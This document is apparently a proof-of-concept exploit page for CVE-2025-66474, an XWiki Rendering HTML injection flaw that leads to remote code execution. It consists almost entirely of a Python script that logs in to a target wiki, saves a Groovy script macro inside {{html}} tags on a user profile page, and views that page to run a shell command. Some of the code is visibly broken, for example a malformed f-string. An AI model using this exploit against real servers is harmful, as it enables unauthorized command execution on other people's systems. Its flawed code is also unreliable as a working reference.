CVE-2025-66474 XWiki Rendering HTML注入导致远程代码执行漏洞

'''CVE-2025-66474 XWiki RCE PoC Vulnerable versions: XWiki Rendering <= 16.10.9, 17.0.0-rc-1 to 17.4.2, 17.5.0-rc-1 to 17.5.0 Reference: https://github.com/xwiki/xwiki-rendering/security/advisories/GHSA-9xc6-c2rm-f27p ''' import requests import sys TARGET_URL = "http://target-xwiki-instance.com" USERNAME = "attacker" PASSWORD = "attacker_password" def exploit_cve_2025_66474(): """ Exploit for XWiki Rendering {{/html}} injection leading to RCE The attacker injects a Groovy script macro through HTML injection """ session = requests.Session() # Step 1: Login to XWiki login_url = f"{TARGET_URL}/bin/login/XWiki/XWikiLogin" login_data = { "j_username": USERNAME, "j_password": PASSWORD, "xredirect": "/" } session.post(login_url, data=login_data) # Step 2: Inject malicious content via {{/html}} tag # The payload uses HTML injection to embed a Groovy script macro groovy_payload = '''{{groovy}} import java.io.* def cmd = "whoami" def p = Runtime.getRuntime().exec(cmd) p.waitFor() println new BufferedReader(new InputStreamReader(p.getInputStream())).readLine() {{/groovy}}''' # HTML injection payload with {{/html}} tag exploit_content = f '''{{html}} {groovy_payload} {{/html}}''' # Step 3: Create or edit a document with the malicious content doc_url = f"{TARGET_URL}/bin/edit/XWiki/UserProfile/{USERNAME}" doc_data = { "content": exploit_content, "action": "save" } response = session.post(doc_url, data=doc_data) # Step 4: Trigger the vulnerability by viewing the document view_url = f"{TARGET_URL}/bin/view/XWiki/UserProfile/{USERNAME}" session.get(view_url) print("[+] Exploit sent. Check server for command execution.") return True if __name__ == "__main__": exploit_cve_2025_66474()